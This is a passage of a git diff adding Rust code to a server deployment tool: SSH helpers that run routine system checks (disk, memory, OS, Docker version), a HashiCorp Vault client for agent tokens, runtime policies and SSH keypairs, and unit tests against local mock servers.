exit_status = None; + let timeout_duration = Duration::from_secs(10); + + let read_result = timeout(timeout_duration, async { + loop { + match channel.wait().await { + Some(russh::ChannelMsg::ExtendedData { data, ext: _ }) => { + stderr.extend_from_slice(&data); + } + Some(russh::ChannelMsg::ExitStatus { + exit_status: status, + }) => { + exit_status = Some(status); + } + Some(russh::ChannelMsg::Eof) | Some(russh::ChannelMsg::Close) | None => break, + _ => {} + } + } + }) + .await; + + let _ = channel.eof().await; + let _ = channel.close().await; + + if read_result.is_err() { + return Err(anyhow::anyhow!("Remote authorization command timed out")); + } + + if exit_status.unwrap_or(0) != 0 { + let stderr = String::from_utf8_lossy(&stderr).trim().to_string(); + let message = if stderr.is_empty() { + "Remote authorization command failed".to_string() + } else { + format!("Remote authorization command failed: {}", stderr) + }; + return Err(anyhow::anyhow!(message)); + } + + Ok(()) +} + +/// Connect and authenticate to the SSH server +async fn connect_and_auth( + config: Arc, + addr: &str, + username: &str, + key: PrivateKey, +) -> Result, anyhow::Error> { + let handler = ClientHandler; + let mut handle = russh::client::connect(config, addr, handler).await?; + + // Authenticate with public key + let auth_res = handle + .authenticate_publickey( + username, + PrivateKeyWithHashAlg::new( + Arc::new(key), + handle.best_supported_rsa_hash().await?.flatten(), + ), + ) + .await?; + + if !auth_res.success() { + return Err(anyhow::anyhow!("Public key authentication failed")); + } + + Ok(handle) +} + +/// Run system check commands and populate the result +async fn run_system_checks(result: &mut SystemCheckResult, handle: Handle) { + // Check username + if let Ok(output) = exec_command(&handle, "whoami").await { + result.username = Some(output.trim().to_string()); + } + + // Check disk space (df -BG /) + if let Ok(output) = exec_command(&handle, "df -BG / 2>/dev/null | tail -1").await { + parse_disk_info(result, &output); + } + + // Check Docker + match exec_command(&handle, "docker --version 2>/dev/null").await { + Ok(output) if !output.is_empty() && !output.contains("not found") => { + result.docker_installed = true; + // Extract version number (e.g., "Docker version 24.0.5, build ced0996") + if let Some(version) = output + .strip_prefix("Docker version ") + .and_then(|s| s.split(',').next()) + { + result.docker_version = Some(version.trim().to_string()); + } + } + _ => { + result.docker_installed = false; + } + } + + // Check OS info + if let Ok(output) = exec_command(&handle, "cat /etc/os-release 2>/dev/null").await { + parse_os_info(result, &output); + } + + // Check memory (free -m) + if let Ok(output) = exec_command(&handle, "free -m 2>/dev/null | grep -i mem").await { + parse_memory_info(result, &output); + } +} + +/// Execute a command on the remote server and return stdout +async fn exec_command( + handle: &Handle, + command: &str, +) -> Result { + let mut channel = handle.channel_open_session().await?; + channel.exec(true, command).await?; + + let mut output = Vec::new(); + let timeout_duration = Duration::from_secs(10); + + let read_result = timeout(timeout_duration, async { + loop { + match channel.wait().await { + Some(russh::ChannelMsg::Data { data }) => { + output.extend_from_slice(&data); + } + Some(russh::ChannelMsg::ExtendedData { data, ext: _ }) => { + // stderr - ignore for now + let _ = data; + } + Some(russh::ChannelMsg::Eof) => break, + Some(russh::ChannelMsg::ExitStatus { exit_status: _ }) => {} + Some(russh::ChannelMsg::Close) => break, + None => break, + _ => {} + } + } + }) + .await; + + if read_result.is_err() { + tracing::warn!("Command '{}' timed out", command); + } + + // Close the channel + let _ = channel.eof().await; + let _ = channel.close().await; + + Ok(String::from_utf8_lossy(&output).to_string()) +} + +/// Parse disk info from df output +fn parse_disk_info(result: &mut SystemCheckResult, output: &str) { + // df -BG output: "Filesystem 1G-blocks Used Available Use% Mounted on" + // Example line: "/dev/sda1 50G 20G 28G 42% /" + let parts: Vec<&str> = output.split_whitespace().collect(); + if parts.len() >= 4 { + // Parse total (index 1) + if let Some(total) = parts + .get(1) + .and_then(|s| s.trim_end_matches('G').parse::().ok()) + { + result.disk_total_gb = Some(total); + } + + // Parse available (index 3) + if let Some(avail) = parts + .get(3) + .and_then(|s| s.trim_end_matches('G').parse::().ok()) + { + result.disk_available_gb = Some(avail); + } + + // Parse usage percentage (index 4) + if let Some(usage) = parts + .get(4) + .and_then(|s| s.trim_end_matches('%').parse::().ok()) + { + result.disk_usage_percent = Some(usage); + } + } +} + +/// Parse OS info from /etc/os-release +fn parse_os_info(result: &mut SystemCheckResult, output: &str) { + for line in output.lines() { + if line.starts_with("NAME=") { + result.os_name = Some( + line.trim_start_matches("NAME=") + .trim_matches('"') + .to_string(), + ); + } else if line.starts_with("VERSION=") { + result.os_version = Some( + line.trim_start_matches("VERSION=") + .trim_matches('"') + .to_string(), + ); + } else if line.starts_with("VERSION_ID=") && result.os_version.is_none() { + result.os_version = Some( + line.trim_start_matches("VERSION_ID=") + .trim_matches('"') + .to_string(), + ); + } + } +} + +/// Parse memory info from free -m output +fn parse_memory_info(result: &mut SystemCheckResult, output: &str) { + // free -m | grep Mem output: "Mem: 15883 5234 8234 123 2414 10315" + let parts: Vec<&str> = output.split_whitespace().collect(); + if parts.len() >= 4 { + // Total memory (index 1) + if let Some(total) = parts.get(1).and_then(|s| s.parse::().ok()) { + result.memory_total_mb = Some(total); + } + + // Available memory (index 6 in newer free, or calculate from free + buffers/cache) + // For simplicity, use the "free" column (index 3) + buffers/cache (index 5) if available + if let Some(avail) = parts.get(6).and_then(|s| s.parse::().ok()) { + result.memory_available_mb = Some(avail); + } else if let Some(free) = parts.get(3).and_then(|s| s.parse::().ok()) { + // Fallback to free column + result.memory_available_mb = Some(free); + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_parse_disk_info() { + let mut result = SystemCheckResult::default(); + parse_disk_info(&mut result, "/dev/sda1 50G 20G 28G 42% /"); + + assert_eq!(result.disk_total_gb, Some(50.0)); + assert_eq!(result.disk_available_gb, Some(28.0)); + assert_eq!(result.disk_usage_percent, Some(42.0)); + } + + #[test] + fn test_parse_os_info() { + let mut result = SystemCheckResult::default(); + let os_release = r#"NAME="Ubuntu" +VERSION="22.04.3 LTS (Jammy Jellyfish)" +ID=ubuntu +VERSION_ID="22.04" +"#; + parse_os_info(&mut result, os_release); + + assert_eq!(result.os_name, Some("Ubuntu".to_string())); + assert_eq!( + result.os_version, + Some("22.04.3 LTS (Jammy Jellyfish)".to_string()) + ); + } + + #[test] + fn test_parse_memory_info() { + let mut result = SystemCheckResult::default(); + parse_memory_info( + &mut result, + "Mem: 15883 5234 8234 123 2414 10315", + ); + + assert_eq!(result.memory_total_mb, Some(15883)); + assert_eq!(result.memory_available_mb, Some(10315)); + } + + #[test] + fn test_summary() { + let mut result = SystemCheckResult::default(); + assert_eq!(result.summary(), "Connection failed"); + + result.connected = true; + assert_eq!(result.summary(), "Authentication failed"); + + result.authenticated = true; + result.os_name = Some("Ubuntu".to_string()); + result.os_version = Some("22.04".to_string()); + result.disk_available_gb = Some(50.0); + result.docker_installed = true; + result.docker_version = Some("24.0.5".to_string()); + + assert_eq!( + result.summary(), + "Ubuntu 22.04, 50.0GB available, Docker 24.0.5" + ); + } +} diff --git a/stacker/stacker/src/helpers/stacker_labels.rs b/stacker/stacker/src/helpers/stacker_labels.rs new file mode 100644 index 0000000..0289979 --- /dev/null +++ b/stacker/stacker/src/helpers/stacker_labels.rs @@ -0,0 +1,29 @@ +use std::collections::HashMap; + +pub const PROJECT_ID: &str = "my.stacker.project_id"; +pub const TARGET: &str = "my.stacker.target"; +pub const SCOPE: &str = "my.stacker.scope"; +pub const SERVICE: &str = "my.stacker.service"; +pub const DNS: &str = "my.stacker.dns"; + +pub const SCOPE_PROJECT: &str = "project"; +pub const SCOPE_PLATFORM: &str = "platform"; + +pub fn insert_runtime_labels( + labels: &mut HashMap, + project_id: Option, + target: Option<&str>, + scope: &str, + service: &str, + dns: &str, +) { + if let Some(project_id) = project_id { + labels.insert(PROJECT_ID.to_string(), project_id.to_string()); + } + if let Some(target) = target.filter(|value| !value.trim().is_empty()) { + labels.insert(TARGET.to_string(), target.to_string()); + } + labels.insert(SCOPE.to_string(), scope.to_string()); + labels.insert(SERVICE.to_string(), service.to_string()); + labels.insert(DNS.to_string(), dns.to_string()); +} diff --git a/stacker/stacker/src/helpers/vault.rs b/stacker/stacker/src/helpers/vault.rs new file mode 100644 index 0000000..575758a --- /dev/null +++ b/stacker/stacker/src/helpers/vault.rs @@ -0,0 +1,845 @@ +use crate::configuration::VaultSettings; +use reqwest::Client; +use serde_json::json; + +pub struct VaultClient { + client: Client, + address: String, + token: String, + agent_path_prefix: String, + api_prefix: String, + ssh_key_path_prefix: String, +} + +impl std::fmt::Debug for VaultClient { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("VaultClient") + .field("address", &self.address) + .field("token", &"[REDACTED]") + .field("agent_path_prefix", &self.agent_path_prefix) + .field("api_prefix", &self.api_prefix) + .field("ssh_key_path_prefix", &self.ssh_key_path_prefix) + .finish() + } +} + +impl VaultClient { + pub fn new(settings: &VaultSettings) -> Self { + Self { + client: Client::new(), + address: settings.address.clone(), + token: settings.token.clone(), + agent_path_prefix: settings.agent_path_prefix.clone(), + api_prefix: settings.api_prefix.clone(), + ssh_key_path_prefix: settings + .ssh_key_path_prefix + .clone() + .unwrap_or_else(|| "users".to_string()), + } + } + + /// Store agent token in Vault at agent/{deployment_hash}/token + #[tracing::instrument(name = "Store agent token in Vault", skip_all)] + pub async fn store_agent_token( + &self, + deployment_hash: &str, + token: &str, + ) -> Result<(), String> { + let base = self.address.trim_end_matches('/'); + let prefix = self.agent_path_prefix.trim_matches('/'); + let api_prefix = self.api_prefix.trim_matches('/'); + let path = if api_prefix.is_empty() { + format!("{}/{}/{}/token", base, prefix, deployment_hash) + } else { + format!( + "{}/{}/{}/{}/token", + base, api_prefix, prefix, deployment_hash + ) + }; + + let payload = json!({ + "data": { + "token": token, + "deployment_hash": deployment_hash + } + }); + + self.client + .post(&path) + .header("X-Vault-Token", &self.token) + .json(&payload) + .send() + .await + .map_err(|e| { + tracing::error!("Failed to store token in Vault: {:?}", e); + format!("Vault store error: {}", e) + })? + .error_for_status() + .map_err(|e| { + tracing::error!("Vault returned error status: {:?}", e); + format!("Vault error: {}", e) + })?; + + tracing::info!( + "Stored agent token in Vault for deployment_hash: {}", + deployment_hash + ); + Ok(()) + } + + /// Fetch agent token from Vault + #[tracing::instrument(name = "Fetch agent token from Vault", skip_all)] + pub async fn fetch_agent_token(&self, deployment_hash: &str) -> Result { + let base = self.address.trim_end_matches('/'); + let prefix = self.agent_path_prefix.trim_matches('/'); + let api_prefix = self.api_prefix.trim_matches('/'); + let path = if api_prefix.is_empty() { + format!("{}/{}/{}/token", base, prefix, deployment_hash) + } else { + format!( + "{}/{}/{}/{}/token", + base, api_prefix, prefix, deployment_hash + ) + }; + + let response = self + .client + .get(&path) + .header("X-Vault-Token", &self.token) + .send() + .await + .map_err(|e| { + tracing::error!("Failed to fetch token from Vault: {:?}", e); + format!("Vault fetch error: {}", e) + })?; + + if response.status() == 404 { + return Err("Token not found in Vault".to_string()); + } + + let vault_response: serde_json::Value = response + .error_for_status() + .map_err(|e| { + tracing::error!("Vault returned error status: {:?}", e); + format!("Vault error: {}", e) + })? + .json() + .await + .map_err(|e| { + tracing::error!("Failed to parse Vault response: {:?}", e); + format!("Vault parse error: {}", e) + })?; + + vault_response["data"]["data"]["token"] + .as_str() + .map(|s| s.to_string()) + .ok_or_else(|| { + tracing::error!("Token not found in Vault response"); + "Token not in Vault response".to_string() + }) + } + + /// Delete agent token from Vault + #[tracing::instrument(name = "Delete agent token from Vault", skip_all)] + pub async fn delete_agent_token(&self, deployment_hash: &str) -> Result<(), String> { + let base = self.address.trim_end_matches('/'); + let prefix = self.agent_path_prefix.trim_matches('/'); + let api_prefix = self.api_prefix.trim_matches('/'); + let path = if api_prefix.is_empty() { + format!("{}/{}/{}/token", base, prefix, deployment_hash) + } else { + format!( + "{}/{}/{}/{}/token", + base, api_prefix, prefix, deployment_hash + ) + }; + + self.client + .delete(&path) + .header("X-Vault-Token", &self.token) + .send() + .await + .map_err(|e| { + tracing::error!("Failed to delete token from Vault: {:?}", e); + format!("Vault delete error: {}", e) + })? + .error_for_status() + .map_err(|e| { + tracing::error!("Vault returned error status: {:?}", e); + format!("Vault error: {}", e) + })?; + + tracing::info!( + "Deleted agent token from Vault for deployment_hash: {}", + deployment_hash + ); + Ok(()) + } + + // ============ Runtime Preference Methods ============ + + /// Store runtime preference for a deployment + /// Path: {api_prefix}/{agent_prefix}/{deployment_hash}/runtime + #[tracing::instrument(name = "Store runtime preference in Vault", skip_all)] + pub async fn store_runtime_preference( + &self, + deployment_hash: &str, + runtime: &str, + ) -> Result<(), String> { + let base = self.address.trim_end_matches('/'); + let prefix = self.agent_path_prefix.trim_matches('/'); + let api_prefix = self.api_prefix.trim_matches('/'); + let path = if api_prefix.is_empty() { + format!("{}/{}/{}/runtime", base, prefix, deployment_hash) + } else { + format!( + "{}/{}/{}/{}/runtime", + base, api_prefix, prefix, deployment_hash + ) + }; + + let payload = json!({ + "data": { + "runtime": runtime, + "deployment_hash": deployment_hash + } + }); + + self.client + .post(&path) + .header("X-Vault-Token", &self.token) + .json(&payload) + .send() + .await + .map_err(|e| { + tracing::error!("Failed to store runtime preference in Vault: {:?}", e); + format!("Vault store error: {}", e) + })? + .error_for_status() + .map_err(|e| { + tracing::error!("Vault returned error status: {:?}", e); + format!("Vault error: {}", e) + })?; + + tracing::info!( + deployment_hash = %deployment_hash, + runtime = %runtime, + "Runtime preference stored in Vault" + ); + Ok(()) + } + + /// Fetch runtime preference from Vault + /// Returns None if not set + #[tracing::instrument(name = "Fetch runtime preference from Vault", skip_all)] + pub async fn fetch_runtime_preference( + &self, + deployment_hash: &str, + ) -> Result, String> { + let base = self.address.trim_end_matches('/'); + let prefix = self.agent_path_prefix.trim_matches('/'); + let api_prefix = self.api_prefix.trim_matches('/'); + let path = if api_prefix.is_empty() { + format!("{}/{}/{}/runtime", base, prefix, deployment_hash) + } else { + format!( + "{}/{}/{}/{}/runtime", + base, api_prefix, prefix, deployment_hash + ) + }; + + let response = self + .client + .get(&path) + .header("X-Vault-Token", &self.token) + .send() + .await + .map_err(|e| { + tracing::error!("Failed to fetch runtime preference from Vault: {:?}", e); + format!("Vault fetch error: {}", e) + })?; + + if response.status() == reqwest::StatusCode::NOT_FOUND { + return Ok(None); + } + + let body: serde_json::Value = response + .error_for_status() + .map_err(|e| { + tracing::error!("Vault returned error status: {:?}", e); + format!("Vault error: {}", e) + })? + .json() + .await + .map_err(|e| { + tracing::error!("Failed to parse runtime preference response: {:?}", e); + format!("Vault parse error: {}", e) + })?; + + let runtime = body + .pointer("/data/data/runtime") + .or_else(|| body.pointer("/data/runtime")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + + Ok(runtime) + } + + /// Delete runtime preference from Vault + #[tracing::instrument(name = "Delete runtime preference from Vault", skip_all)] + pub async fn delete_runtime_preference(&self, deployment_hash: &str) -> Result<(), String> { + let base = self.address.trim_end_matches('/'); + let prefix = self.agent_path_prefix.trim_matches('/'); + let api_prefix = self.api_prefix.trim_matches('/'); + let path = if api_prefix.is_empty() { + format!("{}/{}/{}/runtime", base, prefix, deployment_hash) + } else { + format!( + "{}/{}/{}/{}/runtime", + base, api_prefix, prefix, deployment_hash + ) + }; + + self.client + .delete(&path) + .header("X-Vault-Token", &self.token) + .send() + .await + .map_err(|e| { + tracing::error!("Failed to delete runtime preference from Vault: {:?}", e); + format!("Vault delete error: {}", e) + })? + .error_for_status() + .map_err(|e| { + tracing::error!("Vault returned error status: {:?}", e); + format!("Vault error: {}", e) + })?; + + tracing::info!( + deployment_hash = %deployment_hash, + "Runtime preference deleted from Vault" + ); + Ok(()) + } + + // ============ Org Runtime Policy Methods ============ + + /// Fetch org-level runtime policy from Vault + /// Path: {api_prefix}/{agent_prefix}/org/{org_id}/runtime_policy + /// Returns the required runtime if an org policy exists, None otherwise + #[tracing::instrument(name = "Fetch org runtime policy from Vault", skip_all)] + pub async fn fetch_org_runtime_policy(&self, org_id: &str) -> Result, String> { + let base = self.address.trim_end_matches('/'); + let prefix = self.agent_path_prefix.trim_matches('/'); + let api_prefix = self.api_prefix.trim_matches('/'); + let path = if api_prefix.is_empty() { + format!("{}/{}/org/{}/runtime_policy", base, prefix, org_id) + } else { + format!( + "{}/{}/{}/org/{}/runtime_policy", + base, api_prefix, prefix, org_id + ) + }; + + let response = self + .client + .get(&path) + .header("X-Vault-Token", &self.token) + .send() + .await + .map_err(|e| { + tracing::error!("Failed to fetch org runtime policy from Vault: {:?}", e); + format!("Vault fetch error: {}", e) + })?; + + if response.status() == reqwest::StatusCode::NOT_FOUND { + return Ok(None); + } + + let body: serde_json::Value = response + .error_for_status() + .map_err(|e| { + tracing::error!("Vault returned error status: {:?}", e); + format!("Vault error: {}", e) + })? + .json() + .await + .map_err(|e| { + tracing::error!("Failed to parse org runtime policy response: {:?}", e); + format!("Vault parse error: {}", e) + })?; + + let require_kata = body + .pointer("/data/data/require_kata") + .or_else(|| body.pointer("/data/require_kata")) + .and_then(|v| v.as_bool()) + .unwrap_or(false); + + if require_kata { + Ok(Some("kata".to_string())) + } else { + Ok(None) + } + } + + // ============ SSH Key Management Methods ============ + + /// Build the Vault API URL for SSH keys (KV v1). + /// Path: `{address}/{api_prefix}/secret/{prefix}/{user_id}/ssh_keys/{server_id}` + fn ssh_key_path(&self, user_id: &str, server_id: i32) -> String { + let base = self.address.trim_end_matches('/'); + let api_prefix = self.api_prefix.trim_matches('/'); + let prefix = self.ssh_key_path_prefix.trim_matches('/'); + + if api_prefix.is_empty() { + format!( + "{}/secret/{}/{}/ssh_keys/{}", + base, prefix, user_id, server_id + ) + } else { + format!( + "{}/{}/secret/{}/{}/ssh_keys/{}", + base, api_prefix, prefix, user_id, server_id + ) + } + } + + /// Generate an SSH keypair (ed25519) and return (public_key, private_key) + pub fn generate_ssh_keypair() -> Result<(String, String), String> { + use ssh_key::{Algorithm, LineEnding, PrivateKey}; + + let private_key = PrivateKey::random(&mut rand::thread_rng(), Algorithm::Ed25519) + .map_err(|e| format!("Failed to generate SSH key: {}", e))?; + + let private_key_pem = private_key + .to_openssh(LineEnding::LF) + .map_err(|e| format!("Failed to encode private key: {}", e))? + .to_string(); + + let public_key = private_key.public_key(); + let public_key_openssh = public_key + .to_openssh() + .map_err(|e| format!("Failed to encode public key: {}", e))?; + + Ok((public_key_openssh, private_key_pem)) + } + + /// Store SSH keypair in Vault at users/{user_id}/ssh_keys/{server_id} + #[tracing::instrument(name = "Store SSH key in Vault", skip_all)] + pub async fn store_ssh_key( + &self, + user_id: &str, + server_id: i32, + public_key: &str, + private_key: &str, + ) -> Result { + let path = self.ssh_key_path(user_id, server_id); + + let payload = json!({ + "public_key": public_key, + "private_key": private_key, + "user_id": user_id, + "server_id": server_id, + "created_at": chrono::Utc::now().to_rfc3339() + }); + + self.client + .post(&path) + .header("X-Vault-Token", &self.token) + .json(&payload) + .send() + .await + .map_err(|e| { + tracing::error!("Failed to store SSH key in Vault: {:?}", e); + format!("Vault store error: {}", e) + })? + .error_for_status() + .map_err(|e| { + tracing::error!("Vault returned error status: {:?}", e); + format!("Vault error: {}", e) + })?; + + // Return the logical vault path for storage in database + let vault_key_path = format!( + "secret/{}/{}/ssh_keys/{}", + self.ssh_key_path_prefix.trim_matches('/'), + user_id, + server_id + ); + + tracing::info!( + "Stored SSH key in Vault for user: {}, server: {}", + user_id, + server_id + ); + Ok(vault_key_path) + } + + /// Fetch SSH private key from Vault + #[tracing::instrument(name = "Fetch SSH key from Vault", skip_all)] + pub async fn fetch_ssh_key(&self, user_id: &str, server_id: i32) -> Result { + let path = self.ssh_key_path(user_id, server_id); + + let response = self + .client + .get(&path) + .header("X-Vault-Token", &self.token) + .send() + .await + .map_err(|e| { + tracing::error!("Failed to fetch SSH key from Vault: {:?}", e); + format!("Vault fetch error: {}", e) + })?; + + if response.status() == 404 { + return Err("SSH key not found in Vault".to_string()); + } + + let vault_response: serde_json::Value = response + .error_for_status() + .map_err(|e| { + tracing::error!("Vault returned error status: {:?}", e); + format!("Vault error: {}", e) + })? + .json() + .await + .map_err(|e| { + tracing::error!("Failed to parse Vault response: {:?}", e); + format!("Vault parse error: {}", e) + })?; + + vault_response["data"]["private_key"] + .as_str() + .map(|s| s.to_string()) + .ok_or_else(|| { + tracing::error!("SSH key not found in Vault response"); + "SSH key not in Vault response".to_string() + }) + } + + /// Fetch SSH public key from Vault + #[tracing::instrument(name = "Fetch SSH public key from Vault", skip_all)] + pub async fn fetch_ssh_public_key( + &self, + user_id: &str, + server_id: i32, + ) -> Result { + let path = self.ssh_key_path(user_id, server_id); + + let response = self + .client + .get(&path) + .header("X-Vault-Token", &self.token) + .send() + .await + .map_err(|e| { + tracing::error!("Failed to fetch SSH public key from Vault: {:?}", e); + format!("Vault fetch error: {}", e) + })?; + + if response.status() == 404 { + return Err("SSH key not found in Vault".to_string()); + } + + let vault_response: serde_json::Value = response + .error_for_status() + .map_err(|e| { + tracing::error!("Vault returned error status: {:?}", e); + format!("Vault error: {}", e) + })? + .json() + .await + .map_err(|e| { + tracing::error!("Failed to parse Vault response: {:?}", e); + format!("Vault parse error: {}", e) + })?; + + vault_response["data"]["public_key"] + .as_str() + .map(|s| s.to_string()) + .ok_or_else(|| { + tracing::error!("SSH public key not found in Vault response"); + "SSH public key not in Vault response".to_string() + }) + } + + /// Delete SSH key from Vault (disconnect) + #[tracing::instrument(name = "Delete SSH key from Vault", skip_all)] + pub async fn delete_ssh_key(&self, user_id: &str, server_id: i32) -> Result<(), String> { + let path = self.ssh_key_path(user_id, server_id); + + self.client + .delete(&path) + .header("X-Vault-Token", &self.token) + .send() + .await + .map_err(|e| { + tracing::error!("Failed to delete SSH key from Vault: {:?}", e); + format!("Vault delete error: {}", e) + })? + .error_for_status() + .map_err(|e| { + tracing::error!("Vault returned error status: {:?}", e); + format!("Vault error: {}", e) + })?; + + tracing::info!( + "Deleted SSH key from Vault for user: {}, server: {}", + user_id, + server_id + ); + Ok(()) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use actix_web::{web, App, HttpResponse, HttpServer}; + use serde_json::Value; + use std::net::TcpListener; + + async fn mock_store(body: web::Json) -> HttpResponse { + // Expect { data: { token, deployment_hash } } + if body["data"]["token"].is_string() && body["data"]["deployment_hash"].is_string() { + HttpResponse::NoContent().finish() + } else { + HttpResponse::BadRequest().finish() + } + } + + async fn mock_fetch(path: web::Path<(String, String)>) -> HttpResponse { + let (_prefix, deployment_hash) = path.into_inner(); + let resp = json!({ + "data": { + "data": { + "token": "test-token-123", + "deployment_hash": deployment_hash + } + } + }); + HttpResponse::Ok().json(resp) + } + + async fn mock_delete() -> HttpResponse { + HttpResponse::NoContent().finish() + } + + async fn mock_store_runtime(body: web::Json) -> HttpResponse { + if body["data"]["runtime"].is_string() && body["data"]["deployment_hash"].is_string() { + HttpResponse::NoContent().finish() + } else { + HttpResponse::BadRequest().finish() + } + } + + async fn mock_fetch_runtime(path: web::Path<(String, String)>) -> HttpResponse { + let (_prefix, deployment_hash) = path.into_inner(); + let resp = json!({ + "data": { + "data": { + "runtime": "kata", + "deployment_hash": deployment_hash + } + } + }); + HttpResponse::Ok().json(resp) + } + + async fn mock_fetch_org_policy() -> HttpResponse { + let resp = json!({ + "data": { + "data": { + "require_kata": true + } + } + }); + HttpResponse::Ok().json(resp) + } + + async fn mock_fetch_org_policy_none() -> HttpResponse { + HttpResponse::NotFound().finish() + } + + #[tokio::test] + async fn test_vault_client_store_fetch_delete() { + // Start mock Vault server + let listener = TcpListener::bind("127.0.0.1:0").expect("bind port"); + let port = listener.local_addr().unwrap().port(); + let address = format!("http://127.0.0.1:{}", port); + let prefix = "agent".to_string(); + + let server = HttpServer::new(|| { + App::new() + // POST /v1/{prefix}/{deployment_hash}/token + .route( + "/v1/{prefix}/{deployment_hash}/token", + web::post().to(mock_store), + ) + // GET /v1/{prefix}/{deployment_hash}/token + .route( + "/v1/{prefix}/{deployment_hash}/token", + web::get().to(mock_fetch), + ) + // DELETE /v1/{prefix}/{deployment_hash}/token + .route( + "/v1/{prefix}/{deployment_hash}/token", + web::delete().to(mock_delete), + ) + }) + .listen(listener) + .unwrap() + .run(); + + let _ = tokio::spawn(server); + + // Configure client + let settings = VaultSettings { + address: address.clone(), + token: "dev-token".to_string(), + agent_path_prefix: prefix.clone(), + api_prefix: "v1".to_string(), + ssh_key_path_prefix: None, + }; + let client = VaultClient::new(&settings); + let dh = "dep_test_abc"; + + // Store + client + .store_agent_token(dh, "test-token-123") + .await + .expect("store token"); + + // Fetch + let fetched = client.fetch_agent_token(dh).await.expect("fetch token"); + assert_eq!(fetched, "test-token-123"); + + // Delete + client.delete_agent_token(dh).await.expect("delete token"); + } + + #[tokio::test] + async fn test_vault_runtime_preference_store_fetch_delete() { + let listener = TcpListener::bind("127.0.0.1:0").expect("bind port"); + let port = listener.local_addr().unwrap().port(); + let address = format!("http://127.0.0.1:{}", port); + + let server = HttpServer::new(|| { + App::new() + .route( + "/v1/{prefix}/{deployment_hash}/runtime", + web::post().to(mock_store_runtime), + ) + .route( + "/v1/{prefix}/{deployment_hash}/runtime", + web::get().to(mock_fetch_runtime), + ) + .route( + "/v1/{prefix}/{deployment_hash}/runtime", + web::delete().to(mock_delete), + ) + }) + .listen(listener) + .unwrap() + .run(); + + let _ = tokio::spawn(server); + + let settings = VaultSettings { + address, + token: "dev-token".to_string(), + agent_path_prefix: "agent".to_string(), + api_prefix: "v1".to_string(), + ssh_key_path_prefix: None, + }; + let client = VaultClient::new(&settings); + let dh = "dep_runtime_test"; + + // Store runtime preference + client + .store_runtime_preference(dh, "kata") + .await + .expect("store runtime preference"); + + // Fetch runtime preference + let fetched = client + .fetch_runtime_preference(dh) + .await + .expect("fetch runtime preference"); + assert_eq!(fetched, Some("kata".to_string())); + + // Delete runtime preference + client + .delete_runtime_preference(dh) + .await + .expect("delete runtime preference"); + } + + #[tokio::test] + async fn test_vault_org_runtime_policy_enforced() { + let listener = TcpListener::bind("127.0.0.1:0").expect("bind port"); + let port = listener.local_addr().unwrap().port(); + let address = format!("http://127.0.0.1:{}", port); + + let server = HttpServer::new(|| { + App::new().route( + "/v1/{prefix}/org/{org_id}/runtime_policy", + web::get().to(mock_fetch_org_policy), + ) + }) + .listen(listener) + .unwrap() + .run(); + + let _ = tokio::spawn(server); + + let settings = VaultSettings { + address, + token: "dev-token".to_string(), + agent_path_prefix: "agent".to_string(), + api_prefix: "v1".to_string(), + ssh_key_path_prefix: None, + }; + let client = VaultClient::new(&settings); + + let policy = client + .fetch_org_runtime_policy("org-123") + .await + .expect("fetch org policy"); + assert_eq!(policy, Some("kata".to_string())); + } + + #[tokio::test] + async fn test_vault_org_runtime_policy_not_found() { + let listener = TcpListener::bind("127.0.0.1:0").expect("bind port"); + let port = listener.local_addr().unwrap().port(); + let address = format!("http://127.0.0.1:{}", port); + + let server = HttpServer::new(|| { + App::new().route( + "/v1/{prefix}/org/{org_id}/runtime_policy", + web::get().to(mock_fetch_org_policy_none), + ) + }) + .listen(listener) + .unwrap() + .run(); + + let _ = tokio::spawn(server); + + let settings = VaultSettings { + address, + token: "dev-token".to_string(), + agent_path_prefix: "agent".to_string(), + api_prefix: "v1".to_string(), + ssh_key_path_prefix: None, + }; + let client = VaultClient::new(&settings); + + let policy = client + .fetch_org_runtime_policy("org-no-policy") + .await + .expect("fetch org policy"); + assert_eq!(policy, None); + } +} diff --git a/stacker/stacker/src/lib.rs b/stacker/stacker/src/lib.rs new file mode 100644 index 0000000..618e34b --- /dev/null +++ b/stacker/stacker/src/lib.rs @@ -0,0 +1,84 @@ +#![allow( + dead_code, + unused_imports, + clippy::bool_comparison, + clippy::collapsible_if, + clippy::collapsible_match, + clippy::collapsible_str_replace, + clippy::comparison_to_empty, + clippy::complexity, + clippy::cmp_owned, + clippy::derivable_impls, + clippy::double_ended_iterator_last, + clippy::field_reassign_with_default, + clippy::filter_map_bool_then, + clippy::format_in_format_args, + clippy::from_over_into, + clippy::get_last_with_len, + clippy::if_same_then_else, + clippy::inherent_to_string, + clippy::inefficient_to_string, + clippy::into_iter_on_ref, + clippy::io_other_error, + clippy::iter_kv_map, + clippy::items_after_test_module, + clippy::len_zero, + clippy::let_underscore_future, + clippy::manual_clamp, + clippy::manual_contains, + clippy::manual_pattern_char_comparison, + clippy::manual_range_contains, + clippy::manual_split_once, + clippy::manual_strip, + clippy::map_identity, + clippy::match_like_matches_macro, + clippy::match_single_binding, + clippy::needless_borrow, + clippy::needless_return, + clippy::new_without_default, + clippy::nonminimal_bool, + clippy::option_map_unit_fn, + clippy::ptr_arg, + clippy::print_literal, + clippy::redundant_closure, + clippy::redundant_field_names, + clippy::single_char_add_str, + clippy::single_match, + clippy::should_implement_trait, + clippy::too_many_arguments, + clippy::type_complexity, + clippy::unnecessary_cast, + clippy::unnecessary_map_or, + clippy::unnecessary_unwrap, + clippy::unnecessary_lazy_evaluations, + clippy::unused_unit, + clippy::unwrap_or_default, + clippy::useless_conversion, + clippy::useless_format, + clippy::useless_vec, + clippy::write_literal, + clippy::wrong_self_convention, + clippy::for_kv_map +)] + +pub mod banner; +pub mod cli; +pub mod configuration; +pub mod connectors; +pub mod console; +pub mod db; +pub mod forms; +pub mod handoff; +pub mod health; +pub mod helpers; +pub mod mcp; +pub mod metrics; +mod middleware; +pub mod models; +pub mod project_app; +pub mod routes; +pub mod services; +pub mod startup; +pub mod telemetry; +pub mod version; +pub mod views; diff --git a/stacker/stacker/src/main.rs b/stacker/stacker/src/main.rs new file mode 100644 index 0000000..876eb0e --- /dev/null +++ b/stacker/stacker/src/main.rs @@ -0,0 +1,82 @@ +use sqlx::postgres::{PgConnectOptions, PgPoolOptions, PgSslMode}; +use stacker::banner; +use stacker::configuration::get_configuration; +use stacker::helpers::AgentPgPool; +use stacker::startup::run; +use stacker::telemetry::{get_subscriber, init_subscriber}; +use 